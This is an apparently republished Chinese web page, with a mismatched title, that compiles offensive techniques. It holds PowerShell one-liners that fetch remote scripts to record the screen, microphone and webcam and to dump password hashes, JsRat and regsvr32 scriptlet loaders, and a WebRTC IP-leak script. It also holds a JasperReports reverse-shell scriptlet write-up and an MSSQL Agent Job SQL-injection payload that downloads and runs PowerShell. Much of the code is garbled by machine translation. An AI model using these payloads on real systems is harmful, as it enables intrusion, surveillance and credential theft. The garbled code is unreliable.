PowerShell

屏幕监控:

powershell-nop-exec by pass-c " iex(新对象)

Net.webclient)。downloadstring(' ');Show-TargetScreen”

录音:

powershell-nop-exec by pass-c " iex(new-object net . webclient)。downloadstring(' ');GetMicrophoneAudio

-path $ env : temp \-length 10-alias ' secret ' "

监控摄像头:

powershell-nop-exec by pass-c " iex(new-object net . webclient)。downloadstring(' ');Capture-MiniEye -RecordTime 2-

path $ env : temp \ "-path $ env : temp \ "

抓住hash :

powershelliex(new-object net . webclient)。downloadstring(' ');Get-PassHashes

抓取纯文本:

powershelliex(new-object net . webclient)。downloadstring(';);Invoke-Mimikat

Empire:

Metasploit:

Js

JsRat:

Rundll32.exe JavaScript :' \.\ mshtml,runhtmlapplication

;document . write();H=h=new ActiveXObject('WinH .

5.1’);H.Open('GET ',';false);Try{h.S

end();B=h . ResponseTexteval(b);} catch (e) {新建activexobject ('WSC

李;)。run(' cmd/c taskkill/f/im rundll 32 . exe ',0,true);}

LocalNetworkScanner:

获取客户端内部网IP和外部网IP(STUN)

Firefox和支持Chrome的WebRTC可以请求STUN服务器返回内部和外部网络IP。与XMLHttpRequest请求不同,您无法在STUN请求开发人员工具中查看网络请求。

//get the IP addresses associated with an account

Function getIPs(callback){

var IP _ dups={ };

//compatibility for Firefox and chrome

var rtcpeerconnection=window . rtcpeerconnection

|| window.mozRTCPeerConnection

| | window . webkitrtcpeerconnection;

Var mediaConstraints={

选项:[{ rtpdatachannels : true }]

}

//Firefox already has a default stun server in about : config

//media。=

//[{ ' URL ' : ' stun 3360 stun . services . Mozilla . com ' }]

Varservers=未定义;

//add same stun server for chrome

I)

servers={ iceservers :[{ URLs : ' stun : stun . services . Mozilla . com ' }]};

//construct a new rtcpeerconnection

Var PC=

new RTCPeerConnection(servers, mediaConstraints); //listen for candidate events = function(ice){ //skip non-candidate events i){ //match just the IP address var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr = i)[1]; //remove duplicates if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; //create a bogus data channel (""); //create an offer sdp (function(result){ //trigger the stun server request (result, function(){}); }, function(){}); } //Test: Print the IP addresses into the console getIPs(function(ip){con(ip);});

Demo:

mshta

启动JsRat:

Mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp .WinH;);h.Open("GET"," 8.2.101:9998/connect",false);try{h.Send();b=h.Res ponseText;eval(b);}catch(e){new%20ActiveXObject(" WScri;).Run("cmd /c taskkill /f /im m;,0,true);}

运行JSRAT:

regsvr32 /s /n /u /i:http://urlto

JSRAT.sct

<?XML version="1.0"?> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinH.5.1\");w=new%20ActiveXObject(\"WScri\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScri\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}"; new ActiveXObject("WScri;).Run(rat,0,true); ]]> </script> </registration> </scriptlet>

sct

SCT:

regsvr32 /u /s /i:http://urlto

calc.sct

<?XML version="1.0"?> <scriptlet> <registration description="Empire" progid="Empire" version="1.00" classid="{20001111-0000-0000-0000-0000FEEDACDC}" > <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" --> <!-- regsvr32 /s /i:http://server --> <!-- That should work over a proxy and SSL/TLS... --> <!-- Proof Of Concept - Casey Smith @subTee --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScri;).Run("calc.exe"); ]]> </script> </registration> <public> <method name="Exec"></method> </public> <script language="JScript"> <![CDATA[ function Exec() { var r = new ActiveXObject("WScri;).Run("cmd.exe"); } ]]> </script> </scriptlet>

wsc

Wsc:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplic ation ";document.write();GetObject("script :http://urlto;)

calc.wsc

<?xml version="1.0"?> <package> <component id="testCalc"> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScri;).Run("calc.exe"); ]]> </script> </component> </package>

Hacking JasperReports:隐藏的SHELL特征

  • 作者: re4lity 时间: October 17, 2016 分类: 渗透测试,译文 评论

前言

不久前,我的同事跟我在对一个客户端进行渗透测试。我们确实发现的一件事是,他们留下了几个联网JasperReports服务器。寻找默认管理帐户的用户名并没有花费太多的精力。

也没有用多久我们就猜解出密码是“jasperadmin”

我从前听过JasperReports但从来没有碰到过要对它进行渗透测试。一个快速的google搜索也没有对前期工作产生多大的作用。尽管这个管理界面很不常见但是它也没有摆脱以某种方式来执行代码,所以顺利成章的我们开始在渗透旅程中把JasperReports渗透测试添加进“容易成功”的列表。

代码和小脚本

JasperReports的目的是提取数据从各种各样的来源,例如:databases, xml, flat files等等,并且基于用户定义的模板用某种方式生成一份漂亮的报告。模板在JasperReports被定义为“JRXML”文件,任何拥有创建编辑报告权限的用户都可以上传它。

JasperReports的设计者允许数据在被包含在报告之前自定义操作。接下来就是利用一些小技巧用Java来编写一段脚本!我想也许你会看到这个。

我们的目标呢,就是创建一个报告模板(JRXML file)当然是依旧定制的恶意脚本,当它运行时,我们可以收到一个shell。这篇文章的其余部分将会详细描述我们是如何将脚本和报告模板联系到一起的。

编辑模板

我们仅仅编辑一个存在的模板而不是创建一个。以下是我们将使用的模板。注意一下,过于复杂以及其中的90%是完全不必要的。下面这个只是一个带有“JasperStudio”的简单样本报告。35–42行是有趣的一个部分,我在这个部分插入了“ShellScriptlet”。

<?xml version="1.0" encoding="UTF-8"?> <!-- Created with Jaspersoft Studio version 6.0.1.final using JasperReports Library version 6.0.0 --> <!-- 2016-10-04T14:01:12 --> <jasperReport xmlns="; xmlns:xsi="; xsi:schemaLocation=" ; name="AllAccounts" pageWidth="595" pageHeight="842" whenNoDataType="AllSectionsNoDetail" columnWidth="515" leftMargin="40" rightMargin="40" topMargin="50" bottomMargin="50" isSummaryWithPageHeaderAndFooter="true" uuid="17f4b3c5-e096-4a65-b030-ed3bb58ce311"> <property name="net.; value="EN-US"/> <style name="Sans_Normal" isDefault="true" fontName="DejaVu Sans" fontSize="12"/> <style name="Sans_Bold" fontName="DejaVu Sans" fontSize="12" isBold="true"/> <style name="Sans_Italic" fontName="DejaVu Sans" fontSize="12" isItalic="true"/> <style name="PageHeader" style="Sans_Bold" forecolor="#FFFFFF" backcolor="#333333"/> <style name="detail" fontName="DejaVu Sans" fontSize="12"> <conditionalStyle> <conditionExpression><![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]></conditionExpression> <style mode="Opaque" backcolor="#E0E0E0"/> </conditionalStyle> </style> <subDataset name="Table Dataset 1" uuid="4fcc1d09-9859-48ee-bb6f-8d369bd49113"> <queryString> <![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]> </queryString> <field name="name" class="java.lang.String"/> <field name="phone_office" class="java.lang.String"/> <field name="billing_address_city" class="java.lang.String"/> <field name="billing_address_street" class="java.lang.String"/> <field name="billing_address_country" class="java.lang.String"/> <sortField name="billing_address_country"/> <sortField name="billing_address_city"/> <variable name="CityyNumber" class="java.lang.Integer" incrementType="Group" incrementGroup="CityGroup" calculation="Count"> <variableExpression><![CDATA[Boolean.TRUE]]></variableExpression> <initialValueExpression><![CDATA[new Integer(0)]]></initialValueExpression> </variable> <group name="CityGroup"> <groupExpression><![CDATA[$F{billing_address_city}]]></groupExpression> </group> </subDataset> <scriptlet name="ShellScriptlet" class=";> <scriptletdescription><![CDATA[]]></scriptletDescription> </scriptlet> <title> <band height="79" splitType="Stretch"> <textField> <reportElement x="227" y="20" width="100" height="30" uuid="32a2a8ff-d90a-48d7-b044-5325b5c6264f"/> <textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression> </textField> </band> </title> <pageFooter> <band height="40"> <line> <reportElement x="0" y="10" width="515" height="1" uuid="19826638-0487-4bb5-9b15-7e7af63b8dce"> <property name="net.; value="end"/> </reportElement> </line> <textField isStretchWithOverflow="true"> <reportElement x="200" y="20" width="80" height="16" uuid="6f072af1-756c-49f4-82f3-af59e8124296"/> <textElement textAlignment="Right"/> <textFieldExpression><![CDATA["Page " + S($V{PAGE_NUMBER}) + " of"]]></textFieldExpression> </textField> <textField isStretchWithOverflow="true" evaluationTime="Report"> <reportElement x="280" y="20" width="75" height="16" uuid="02b15e9e-d360-4b82-a140-54b9bd3b0e81"/> <textElement textAlignment="Left"/> <textFieldExpression><![CDATA[" " + S($V{PAGE_NUMBER})]]></textFieldExpression> </textField> </band> </pageFooter> <summary> <band height="149" splitType="Stretch"> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="0" y="71" width="250" height="70" uuid="aa8a8976-039f-45ac-84f3-d8d55b442410"/> <imageExpression><![CDATA["repo:LogoLink"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["JasperReports Logo"]]></hyperlinkTooltipExpression> </image> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="265" y="71" width="250" height="70" uuid="4b5dd0d1-9011-42cf-ab07-f80c02d3d166"/> <imageExpression><![CDATA["repo:AllAccounts_Res2"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["Jaspersoft Logo"]]></hyperlinkTooltipExpression> </image> <componentElement> <reportElement key="table" x="0" y="0" width="515" height="70" uuid="db3dd84a-3743-43b3-ab7e-c4aebdb907df"/> <jr:table xmlns:jr="/components" xsi:schemaLocation="/components ; whenNoDataType="AllSectionsNoDetail"> <datasetRun subDataset="Table Dataset 1" uuid="3b2a079f-f600-46a6-a7af-720c4e939e7e"> <connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression> </datasetRun> <jr:columnGroup width="515" uuid="1e5d630a-c8f9-4dbb-8415-393f7624ca35"> <jr:groupHeader groupName="CityGroup"> <jr:cell height="30" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="Sans_Bold" positionType="Float" mode="Opaque" x="0" y="14" width="515" height="16" isPrintWhenDetailOverflows="true" backcolor="#C0C0C0" uuid="aeafecc2-ef7e-435c-ae07-1f45ed6b179a"/> <box leftPadding="0" bottomPadding="0" rightPadding="0"> <bottomPen lineWidth="1.0" lineStyle="Solid"/> </box> <textElement textAlignment="Left"/> <textFieldExpression><![CDATA[" " + S($V{CityyNumber}.intValue() + 1) + ". " + $F{billing_address_city}+ ", " + $F{billing_address_country}]]></textFieldExpression> <anchorNameExpression><![CDATA[S($F{billing_address_city})]]></anchorNameExpression> </textField> </jr:cell> </jr:groupHeader> <jr:column width="30" uuid="43ffff20-e89f-4f73-ad8d-878e9581274a"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="30" height="16" isPrintWhenDetailOverflows="true" uuid="a76dcb9c-8601-48bc-b9cc-3d1c316e537d"> <property name="net.; value="full"/> <property name="net.; value="1"/> </reportElement> <textFieldExpression><![CDATA[" "]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="30" height="20" isPrintWhenDetailOverflows="true" uuid="73a40f28-2c08-4849-a2a9-b83ade7a6b7d"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="10"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textElement textAlignment="Right"/> <textFieldExpression><![CDATA[$V{CityGroup_COUNT}+"."]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="240" uuid="d472eeed-282a-402b-9044-a397ca270655"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="240" height="16" isPrintWhenDetailOverflows="true" uuid="bd0d4582-5684-4e15-8623-b3f1940bf1bb"> <property name="net.; value="full"/> <property name="net.; value="2"/> </reportElement> <box leftPadding="0" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Name"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell style="detail" height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="240" height="20" isPrintWhenDetailOverflows="true" uuid="23562605-5611-41d8-8a40-98ad9d28834a"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{name}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="100" uuid="4612e5a3-cb0d-4533-9b54-9ad9828acbed"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="100" height="16" isPrintWhenDetailOverflows="true" uuid="d81f1db2-9f2e-4665-aa47-3d1a49cc9d15"> <property name="net.; value="full"/> </reportElement> <box leftPadding="10" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Phone"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="100" height="20" isPrintWhenDetailOverflows="true" uuid="e48d7dee-a092-45ea-8bd8-8440f76a9fd0"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{phone_office}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="145" uuid="f0397b7d-4130-4b13-88b1-d89415b269bd"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="145" height="16" isPrintWhenDetailOverflows="true" uuid="0a1206b8-d0d6-4809-a424-3d7f09606b44"> <property name="net.; value="full"/> </reportElement> <box leftPadding="0" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Address"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="145" height="20" isPrintWhenDetailOverflows="true" uuid="7bc63c7e-0224-441b-96ec-8a1bb67a0b84"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="0"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{billing_address_street}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> </jr:columnGroup> </jr:table> </componentElement> </band> </summary> </jasperReport>

接下来看42行:

<textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression>

这里我们调用一个getshell的方法在ShellScriptlet_SCRIPTLET。在35行我们定义了一个ShellScriptlet_SCRIPTLET 来引用“”中的Java代码。

<scriptlet name="ShellScriptlet" class=";> <scriptletDescription><![CDATA[]]></scriptletDescription> </scriptlet>

这很简单,但这在Java代码本身是如何定义的呢?

编写攻击脚本

scriptlet用Java编写,需要去扩展“JRDefaultScriptlet”。我从”here”中借用了一些Java代码来反弹shell并且让这种攻击脚本成为跨平台的。下面就是结果了,要注意“host”和“port”的写法是固定的:

package ; import java.io.*; import java.net.*; import java.io.InputStream; import java.io.OutputStream; import java.io.DataInputStream; import net.; import net.; public class ShellScriptlet extends JRDefaultScriptlet implements Runnable{ Socket socket; PrintWriter socketWrite; BufferedReader socketRead; PrintWriter commandWrite; BufferedReader commandRead; static String ip; int port = 8080; public String getShell(){ ip = "1.1.1.1"; ShellScriptlet shell = new ShellScriptlet(); (); new Thread(shell).start(); (); return "DONE"; } public void run(){ spawnShell(); } public void spawnShell(){ boolean windows = false; try{ if ( Sy("os.name").toLowerCase().indexOf("windows") != -1){ windows = true; } Runtime rt = Run(); Process p; if(windows) p = rt.exec("C:\\Windows\\System32\\cmd.exe"); else p = rt.exec("/bin/sh"); InputStream readme = p.getInputStream(); OutputStream writeme = p.getOutputStream(); commandWrite = new PrintWriter(writeme); commandRead = new BufferedReader(new InputStreamReader(readme)); if(windows) commandWri("dir"); else commandWri("ls -al"); commandWri(); String line; while((line = commandRead.readLine()) != null){ socketWri(line); socketWri(); } p.destroy(); }catch(Exception e){} } public void establishConnection(){ try{ socket = new Socket(ip,port); socketWrite = new PrintWriter(),true); socketRead = new BufferedReader(new InputStreamReader())); socketWri("---Connection has been established---"); socketWri(); }catch(Exception e){} } public void getCommand(){ String foo; try{ while((foo=())!= null){ commandWri(foo); commandWri(); } }catch(Exception e){} } public static void main(String args[]){ ShellScriptlet r = new ShellScriptlet(); r.getShell(); } }

对于那些不熟悉Java的,你可以用下面的命令编译在相同的目录中

/usr/lib/jvm/java-6-openjdk-amd64/bin/javac -Xlint -cp .:jasperreports-5.0.0.jar *.java -d .

这里指定” javac “的完整路径是有原因的(这是Java 1.6)。如果你运行这个命令对某种系统会出错,你需要考虑理想情况下用相同的环境来编译它,至少不是最新的版本!

接下来我们要做的就是把所有的代码打包趁有个jar文件然后上传到目标站点。你可以使用下面这个代码来完成它:

/usr/lib/jvm/java-6-openjdk-amd64/bin/jar cvf foxglove/

如果一切进行的顺利,你就会得到个“”文件,接下来就准备上传这个到目标站点吧!

部署这个新的“Report”

每个版本的JasperReports似乎都有些不同,但是他们都有相同的函数和工作流。

首先很明显我们要去验证一下“jasperadmin/jasperadmin”:

在我这个版本中,这就立即显示出了有一堆reports样例的“Repository”(要确保“Type”这一列说的是“Report”)。

接下来,我们只要右击一个report并且点击“Edit”就好。

一开始,就点击 “Controls and Resources” 之后点击“Add Resource”。上传我们之前创建的JAR文件并给这个资源命名为“ShellScriptlet”。结束之后我们应该可以看到下图这样的结果:

点击左侧栏的“Set Up”,单击 “Upload a Local file”把我们之前创建的JRXML文件上传了。你应该可以得到下图所示的结果:

Jasper 现在让我们去定义一些我们在JRXML文件引用的资源。如果你是一个keener你可能会仅仅把这些资源从JRXML文件中删除。仅仅单击“Add Now”并且上传一些随机的PNG图片文件为你每一个引用资源…当你做完这些应该看起来像下图一样:

现在你只需要点击“Submit”在这个按钮来创建我们的恶意report就好了。哈哈

Shellz!

先别激动,在你运行这个report之前,你还要开个监听端口去监听你的shell!!!

之后单击你创建的report,它将会运行Java代码,如果没有什么问题,你就可以看到反弹的shell了

二-------------------------------MSSQL Agent Jobs for Command Execution

概述

如果MSSQL数据库中开启了MSSQL Server Agent Job服务的话,攻击者将可以利用MSSQL Server中自带的功能来获取一个shell。

SQL Server Agent

SQL Server Agent是一个Windows服务,它可以用来执行自动化任务。

攻击浅析

利用MSSQL Server中的本地功能来在Windows操作系统中执行任意命令。在整个测试过程中,xp_cmdshell存储过程已被禁用了,并且限制了创建自定义存储过程的能力。

当xp_cmdshell扩展存储过程在攻击中被使用时,大多数安全监控或检测系统都会产生警报。而攻击者和渗透测试人员对xp_cmdshell的滥用已经导致很多组织和企业开始禁用或限制xp_cmdshell了。

可利用MSSQL Server代理来在目标数据库服务器中执行任意控制命令。但是,目标服务器必须满足一下几个条件:

  1. 目标服务器必须开启了MSSQL Server代理服务;
  2. 服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业;

两个可以利用的MSSQL代理作业子系统:CmdExec和PowerShell子系统,这两个功能可以分别用来执行操作系统命令和PowerShell脚本。

可以使用SQL注入点来创建并执行代理任务。任务所需执行的命令是一段PowerShell代码,这段代码可以让目标系统与一个受Optiv控制的IP地址进行通信连接,然后下载额外的PowerShell指令。这样一来,就可以在目标数据库服务器与Optiv控制的服务器之间建立一条可交互的命令控制会话了。

下面这张代码截图显示的是已被拆分的SQL语句。在下面这段下载命令中,URI位于两个单引号之间,而不是之前的双引号。这样做是为了在SQL语句中转义单引号。

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N' -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

攻击测试

如下图所示,SQL语句已经进行了URL编码处理。在这个攻击示例中,攻击是通过HTTP GET请求来发送的,因此我们需要对攻击payload进行URL编码。

可以看到我们在HTTP GET请求的参数中添加了SQL注入payload,这样我们就可以使用SQL注入了。(请注意在payload的开头处添加的%20(空格符))

当payload运行之后,我们就可以看到命令控制会话已经建立成功了,并且使用的是“SQLSERVERAGENT”账号的权限。

在目标主机的SQL Server中,我们可以看到SQL代理作业已经创建成功了。

总结

如果目标主机运行了MSSQL代理服务,并且代理服务使用的用户账号可以访问其他的MSSQL Server的话,那么就可以利用这种攻击来在其他的MSSQL Server中执行MSSQL Server代理作业了。除此之外,还可以设置定时代理作业,这也就意味着,不仅可以利用这种方式来躲避安全检测,而且还可以实现对目标MSSQL Server的持久化控制。

在某些情况下,如果MSSQL Server代理服务使用的是权限更高的用户账号,那么就可以通过这种攻击来实现提权。

1.《【摩托车火花塞d8rtc】没有内部网文件攻击姿态。》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《【摩托车火花塞d8rtc】没有内部网文件攻击姿态。》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/auto/2633952.html